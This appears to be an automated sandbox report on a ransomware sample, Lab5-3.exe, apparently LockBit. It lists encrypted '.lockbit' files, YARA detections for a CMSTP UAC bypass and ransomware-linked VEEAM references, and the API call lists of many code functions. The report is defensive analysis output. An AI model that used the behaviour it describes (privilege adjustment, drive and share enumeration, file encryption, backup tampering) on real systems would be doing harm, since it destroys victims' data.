Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\en-ae\ui-strings.js.lockbit entropy: 7.99553064859	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\nb-no\ui-strings.js.lockbit entropy: 7.99473904264	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\uk-ua\ui-strings.js.lockbit entropy: 7.99710395162	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\sv-se\ui-strings.js.lockbit entropy: 7.99591837883	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\zh-tw\ui-strings.js.lockbit entropy: 7.99524073061	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\zh-cn\ui-strings.js.lockbit entropy: 7.99542417756	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\themes\dark\s_signed_out.svg.lockbit entropy: 7.99326359375	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\OWP\default\images\pull-ring.png.lockbit entropy: 7.99683718753	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\plugins.js.lockbit entropy: 7.99373961828	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\OWP\default\js\vendor.min.js.lockbit entropy: 7.99797792888	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\main-cef.css.lockbit entropy: 7.99737206198	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\main.css.lockbit entropy: 7.9992820897	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\main-high-contrast.css.lockbit entropy: 7.99880735371	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\A12_Spinner_int_2x.gif.lockbit entropy: 7.99127744575	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\core_icons.png.lockbit entropy: 7.99382734734	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\core_icons_retina.png.lockbit entropy: 7.99704428974	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\file_types\aic_file_icons.png.lockbit entropy: 7.99703730703	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\file_types\aic_file_icons_retina_thumb.png.lockbit entropy: 7.9976203503	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\file_types\aic_file_icons_retina_thumb_new.png.lockbit entropy: 7.99681003791	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\file_types\hi_contrast\aic_file_icons_hiContrast_bow.png.lockbit entropy: 7.99674495718	Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: Lab5-3.exe, type: SAMPLE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: Lab5-3.exe, type: SAMPLE	Matched rule: Detects executables containing many references to VEEAM. Observed in ransomware Author: unknown
Source: 0.0.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0.0.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing many references to VEEAM. Observed in ransomware Author: unknown
Source: 34.2.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 34.2.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing many references to VEEAM. Observed in ransomware Author: unknown
Source: 27.2.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 27.2.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing many references to VEEAM. Observed in ransomware Author: unknown
Source: 40.2.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 40.2.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing many references to VEEAM. Observed in ransomware Author: unknown
Source: 40.0.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 40.0.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing many references to VEEAM. Observed in ransomware Author: unknown
Source: 34.0.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 34.0.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing many references to VEEAM. Observed in ransomware Author: unknown
Source: 19.0.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 19.0.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing many references to VEEAM. Observed in ransomware Author: unknown
Source: 27.0.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 27.0.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing many references to VEEAM. Observed in ransomware Author: unknown
Source: 19.2.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 19.2.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing many references to VEEAM. Observed in ransomware Author: unknown

Source: C:\Users\user\Desktop\Lab5-3.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00416E10 EntryPoint,ExitProcess,RtlInitializeCriticalSection,CreateThread,CreateThread,NtSetInformationThread,NtSetInformationThread,Sleep,GetVersion,ExitProcess,ExitProcess,NtOpenProcess,GetSecurityInfo,RtlAllocateAndInitializeSid,RtlQueryInformationAcl,RtlLengthSid,malloc,RtlCreateAcl,RtlAddAccessDeniedAce,RtlGetAce,RtlGetAce,RtlAddAce,SetSecurityInfo,free,CreateThread,NtSetInformationThread,NtClose,RtlFreeSid,NtSetInformationProcess,RtlAdjustPrivilege,GetCurrentProcess,OpenProcessToken,GetTokenInformation,CloseHandle,CreateThread,NtSetInformationThread,CreateThread,NtSetInformationThread,ExitProcess,GetTickCount,GetTickCount,GetTickCount,GetConsoleWindow,IsWindowVisible,NtWaitForSingleObject,ExitProcess,	19_2_00416E10
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_0041A8E0 CreateThread,NtSetInformationThread,NtAllocateVirtualMemory,GetWindowsDirectoryW,RtlAcquirePebLock,RtlInitUnicodeString,RtlInitUnicodeString,RtlInitUnicodeString,RtlReleasePebLock,LdrEnumerateLoadedModules,	19_2_0041A8E0
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00412680 NtSetInformationThread,NtOpenProcessToken,CreateWellKnownSid,CheckTokenMembership,NtQueryInformationToken,CheckTokenMembership,CloseHandle,CloseHandle,CloseHandle,	19_2_00412680
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_0041A740 CreateThread,NtSetInformationThread,CoInitializeEx,CoUninitialize,	19_2_0041A740
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00406C40 NtSetInformationThread,	19_2_00406C40
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_0041A450 WSAStartup,malloc,RtlInitializeSListHead,RtlInitializeCriticalSection,Sleep,Sleep,RtlInterlockedFlushSList,RtlDeleteCriticalSection,WSACleanup,CreateThread,NtSetInformationThread,Sleep,RtlInterlockedFlushSList,RtlDeleteCriticalSection,WSACleanup,free,ExitThread,	19_2_0041A450
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00406E60 NtSetInformationThread,	19_2_00406E60
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_004172F0 FindNextVolumeW,malloc,malloc,GetVolumePathNamesForVolumeNameW,free,malloc,GetDriveTypeW,wsprintfW,CreateFileW,NtClose,free,	19_2_004172F0
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_0040FE80 GetTickCount,RtlInitializeCriticalSection,CreateThread,CreateThread,NtSetInformationThread,NtSetInformationThread,CreateThread,NtSetInformationThread,CreateThread,NtSetInformationThread,GetLogicalDrives,GetDriveTypeW,malloc,wsprintfW,CreateThread,NtSetInformationThread,Sleep,Sleep,WaitForMultipleObjects,Sleep,RtlDeleteCriticalSection,	19_2_0040FE80
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00406C90 NtSetInformationThread,	19_2_00406C90
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_004180B0 GlobalFree,NtRemoveIoCompletion,WriteFile,RtlDosPathNameToNtPathName_U,malloc,NtSetInformationFile,free,NtClose,GlobalFree,GlobalFree,__allrem,NtClose,GlobalFree,GlobalFree,WriteFile,ReadFile,NtClose,GlobalFree,GlobalFree,	19_2_004180B0
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00403F40 NtSetInformationThread,	19_2_00403F40
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00406F50 NtSetInformationThread,	19_2_00406F50
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00401370 NtSetInformationThread,	19_2_00401370
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00419500 GetFileAttributesW,SetFileAttributesW,PathFindExtensionW,lstrcmpiW,CreateFileW,GlobalAlloc,wsprintfW,NtSetInformationFile,GlobalAlloc,NtQueryInformationFile,GlobalFree,GlobalFree,GlobalFree,NtClose,ReadFile,GlobalFree,GlobalFree,GlobalFree,NtClose,Sleep,Sleep,	19_2_00419500
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00416B00 CreateThread,NtSetInformationThread,RegCreateKeyExA,RegDeleteValueW,RegCloseKey,wsprintfW,RegQueryValueExW,lstrcmpiW,RegSetValueExW,RegCloseKey,	19_2_00416B00
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00412510 CreateThread,NtSetInformationThread,	19_2_00412510
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00417F20 PathRemoveFileSpecW,wsprintfW,CreateFileW,NtSetInformationFile,NtClose,MessageBoxA,GlobalAlloc,WriteFile,GlobalFree,NtClose,	19_2_00417F20
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00419330 NtCreateIoCompletion,NtSetInformationThread,CreateThread,CreateThread,NtSetInformationThread,CreateThread,NtSetInformationThread,NtSetInformationThread,NtSetInformationThread,CreateThread,	19_2_00419330
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_004125C0 NtOpenProcessToken,LookupPrivilegeValueA,NtAdjustPrivilegesToken,CloseHandle,	19_2_004125C0
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_0040FBF0 WNetOpenEnumW,malloc,WNetEnumResourceW,malloc,OpenThreadToken,DuplicateToken,CreateThread,NtSetInformationThread,free,WNetCloseEnum,	19_2_0040FBF0
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_004127A0 GetFileAttributesW,NtOpenProcessToken,malloc,NtQueryInformationToken,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetFileSecurityW,SetFileSecurityW,SetFileSecurityW,CloseHandle,free,	19_2_004127A0
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_0041A450 WSAStartup,malloc,RtlInitializeSListHead,RtlInitializeCriticalSection,Sleep,Sleep,RtlInterlockedFlushSList,RtlDeleteCriticalSection,WSACleanup,CreateThread,NtSetInformationThread,Sleep,RtlInterlockedFlushSList,RtlDeleteCriticalSection,WSACleanup,free,ExitThread,	27_2_0041A450
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00416E10 EntryPoint,ExitProcess,RtlInitializeCriticalSection,CreateThread,CreateThread,NtSetInformationThread,NtSetInformationThread,Sleep,GetVersion,ExitProcess,ExitProcess,NtOpenProcess,GetSecurityInfo,RtlAllocateAndInitializeSid,RtlQueryInformationAcl,RtlLengthSid,malloc,RtlCreateAcl,RtlAddAccessDeniedAce,RtlGetAce,RtlGetAce,RtlAddAce,SetSecurityInfo,free,CreateThread,NtSetInformationThread,NtClose,RtlFreeSid,NtSetInformationProcess,RtlAdjustPrivilege,GetCurrentProcess,OpenProcessToken,GetTokenInformation,CloseHandle,CreateThread,NtSetInformationThread,CreateThread,NtSetInformationThread,ExitProcess,GetTickCount,GetTickCount,GetTickCount,GetConsoleWindow,IsWindowVisible,NtWaitForSingleObject,ExitProcess,	27_2_00416E10
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_004172F0 FindNextVolumeW,malloc,malloc,GetVolumePathNamesForVolumeNameW,free,malloc,GetDriveTypeW,wsprintfW,CreateFileW,NtClose,free,	27_2_004172F0
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_0040FE80 GetTickCount,RtlInitializeCriticalSection,CreateThread,CreateThread,NtSetInformationThread,NtSetInformationThread,CreateThread,NtSetInformationThread,CreateThread,NtSetInformationThread,GetLogicalDrives,GetDriveTypeW,malloc,wsprintfW,CreateThread,NtSetInformationThread,Sleep,Sleep,WaitForMultipleObjects,Sleep,RtlDeleteCriticalSection,	27_2_0040FE80
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00417880 GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,NtOpenFile,GetProcAddress,GetProcAddress,malloc,NtQuerySystemInformation,CharLowerBuffW,free,	27_2_00417880
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_004180B0 GlobalFree,NtRemoveIoCompletion,WriteFile,RtlDosPathNameToNtPathName_U,malloc,NtSetInformationFile,free,NtClose,GlobalFree,GlobalFree,__allrem,NtClose,GlobalFree,GlobalFree,WriteFile,ReadFile,NtClose,GlobalFree,GlobalFree,	27_2_004180B0
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00419500 GetFileAttributesW,SetFileAttributesW,PathFindExtensionW,lstrcmpiW,CreateFileW,GlobalAlloc,wsprintfW,NtSetInformationFile,GlobalAlloc,NtQueryInformationFile,GlobalFree,GlobalFree,GlobalFree,NtClose,ReadFile,GlobalFree,GlobalFree,GlobalFree,NtClose,Sleep,Sleep,	27_2_00419500
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00416B00 CreateThread,NtSetInformationThread,RegCreateKeyExA,RegDeleteValueW,RegCloseKey,wsprintfW,RegQueryValueExW,lstrcmpiW,RegSetValueExW,RegCloseKey,	27_2_00416B00
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00417F20 PathRemoveFileSpecW,wsprintfW,CreateFileW,NtSetInformationFile,NtClose,MessageBoxA,GlobalAlloc,WriteFile,GlobalFree,NtClose,	27_2_00417F20
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00419330 NtCreateIoCompletion,NtSetInformationThread,CreateThread,CreateThread,NtSetInformationThread,CreateThread,NtSetInformationThread,NtSetInformationThread,NtSetInformationThread,CreateThread,	27_2_00419330
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_004125C0 NtOpenProcessToken,LookupPrivilegeValueA,NtAdjustPrivilegesToken,FindCloseChangeNotification,	27_2_004125C0
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_0040FBF0 WNetOpenEnumW,malloc,WNetEnumResourceW,malloc,OpenThreadToken,DuplicateToken,CreateThread,NtSetInformationThread,free,WNetCloseEnum,	27_2_0040FBF0
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_004127A0 GetFileAttributesW,NtOpenProcessToken,malloc,NtQueryInformationToken,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetFileSecurityW,SetFileSecurityW,SetFileSecurityW,CloseHandle,free,	27_2_004127A0
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00406C40 NtSetInformationThread,	27_2_00406C40
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00406E60 NtSetInformationThread,	27_2_00406E60
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_0041A8E0 CreateThread,NtSetInformationThread,NtAllocateVirtualMemory,GetWindowsDirectoryW,RtlAcquirePebLock,RtlInitUnicodeString,RtlInitUnicodeString,RtlInitUnicodeString,RtlReleasePebLock,LdrEnumerateLoadedModules,	27_2_0041A8E0
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00412680 NtSetInformationThread,NtOpenProcessToken,CreateWellKnownSid,CheckTokenMembership,NtQueryInformationToken,CheckTokenMembership,CloseHandle,CloseHandle,CloseHandle,	27_2_00412680
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00406C90 NtSetInformationThread,	27_2_00406C90
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00403F40 NtSetInformationThread,	27_2_00403F40
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_0041A740 CreateThread,NtSetInformationThread,CoInitializeEx,CoUninitialize,	27_2_0041A740
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00406F50 NtSetInformationThread,	27_2_00406F50
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00401370 NtSetInformationThread,	27_2_00401370
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00412510 CreateThread,NtSetInformationThread,	27_2_00412510

Source: C:\Windows\System32\wbadmin.exe

File created: C:\Windows\Logs\WindowsBackup

Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00407640	19_2_00407640
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00407040	19_2_00407040
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00407240	19_2_00407240
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00411E40	19_2_00411E40
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00406E60	19_2_00406E60
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00401670	19_2_00401670
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00402E10	19_2_00402E10
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00418620	19_2_00418620
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_0040E030	19_2_0040E030
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_004024C0	19_2_004024C0
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_0040FE80	19_2_0040FE80
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00417880	19_2_00417880
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00404090	19_2_00404090
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00401A90	19_2_00401A90
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00408AA0	19_2_00408AA0
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_004042A0	19_2_004042A0
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00401940	19_2_00401940
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00406F50	19_2_00406F50
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_0040F370	19_2_0040F370
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00406D70	19_2_00406D70
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00410170	19_2_00410170
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00407510	19_2_00407510
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00407B20	19_2_00407B20
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00409530	19_2_00409530
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_0041A130	19_2_0041A130
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00419D30	19_2_00419D30
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_0040C7E0	19_2_0040C7E0
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_004053E0	19_2_004053E0
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00404DF0	19_2_00404DF0
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_0040E980	19_2_0040E980
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00408FA0	19_2_00408FA0
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00418620	27_2_00418620
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_0040FE80	27_2_0040FE80
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00417880	27_2_00417880
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00410170	27_2_00410170
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00419D30	27_2_00419D30
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_0041A130	27_2_0041A130
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00407640	27_2_00407640
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00407040	27_2_00407040
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00407240	27_2_00407240
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00411E40	27_2_00411E40
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00406E60	27_2_00406E60
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00401670	27_2_00401670
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00402E10	27_2_00402E10
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_0040E030	27_2_0040E030
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_004024C0	27_2_004024C0
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00404090	27_2_00404090
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00401A90	27_2_00401A90
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00408AA0	27_2_00408AA0
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_004042A0	27_2_004042A0
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00401940	27_2_00401940
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00406F50	27_2_00406F50
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_0040F370	27_2_0040F370
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00406D70	27_2_00406D70
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00407510	27_2_00407510
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00407B20	27_2_00407B20
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00409530	27_2_00409530
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_0040C7E0	27_2_0040C7E0
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_004053E0	27_2_004053E0
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00404DF0	27_2_00404DF0
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_0040E980	27_2_0040E980
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00408FA0	27_2_00408FA0

Source: C:\Windows\System32\wbengine.exe

Process token adjusted: Security

Source: Lab5-3.exe, 0000001B.00000003.1867495283.0000000018550000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs Lab5-3.exe
Source: Lab5-3.exe, 0000001B.00000003.1835720971.0000000018550000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs Lab5-3.exe
Source: Lab5-3.exe, 0000001B.00000003.2122488280.000000001C330000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameReadOutLoud.apiD vs Lab5-3.exe

Source: Lab5-3.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Lab5-3.exe, type: SAMPLE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: Lab5-3.exe, type: SAMPLE	Matched rule: INDICATOR_SUSPICOUS_EXE_References_VEEAM description = Detects executables containing many references to VEEAM. Observed in ransomware
Source: 0.0.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0.0.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICOUS_EXE_References_VEEAM description = Detects executables containing many references to VEEAM. Observed in ransomware
Source: 34.2.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 34.2.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICOUS_EXE_References_VEEAM description = Detects executables containing many references to VEEAM. Observed in ransomware
Source: 27.2.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 27.2.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICOUS_EXE_References_VEEAM description = Detects executables containing many references to VEEAM. Observed in ransomware
Source: 40.2.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 40.2.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICOUS_EXE_References_VEEAM description = Detects executables containing many references to VEEAM. Observed in ransomware
Source: 40.0.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 40.0.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICOUS_EXE_References_VEEAM description = Detects executables containing many references to VEEAM. Observed in ransomware
Source: 34.0.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
